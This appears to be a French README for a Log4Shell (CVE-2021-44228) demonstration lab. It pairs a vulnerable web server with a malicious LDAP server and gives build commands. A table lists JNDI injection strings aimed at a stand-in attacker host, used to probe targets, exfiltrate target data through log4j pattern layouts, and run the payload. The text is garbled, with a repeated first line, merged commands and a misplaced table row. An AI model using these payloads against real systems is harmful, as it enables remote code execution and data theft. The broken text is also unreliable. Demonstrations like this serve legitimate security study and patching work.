
Une démonstration de la vulnérabilité Log4Shell (CVE-2021-44228).
Une démonstration de la vulnérabilité Log4Shell (CVE-2021-44228).
Le serveur web vulnérable et le serveur LDAP malveillant ont tous deux été construits et testés sur JDK 1.8.0_181.
goodguys, exécutez gradlew bootJarjava -jar build/libs/goodguys-0.0.1-SNAPSHOT.jarbadguys, exécutez mvn packagejava -jar .\target\evil-server.jarNote : Windows Defender peut discrètement déplacer
target\classes\Exploit.classen quarantaine.
Les commandes malveillantes sont définies dans Exploit.java.
| Entrée | Remarques |
|---|---|
${jndi:ldap://evil-server-hostname:389/Recon} | Vérifie si la cible est vulnérable en écoutant une demande de connexion au serveur LDAP. |
${jndi:ldap://evil-server-hostname:389/Recon [log4j Pattern Layout(s)] | Ajoutez des mises en page de motif log4j valides pour collecter les données de la cible et les afficher dans le terminal de l'attaquant. |
https://securityboulevard.com/2019/01/exploiting-jndi-injections-in-java/
https://logging.apache.org/log4j/1.2/apidocs/org/apache/log4j/PatternLayout.html
https://www.ibm.com/blog/how-to-detect-patch-log4j-vulnerability/
${jndi:ldap://evil-server-hostname:389/Exploit} | Exécutez la charge utile. |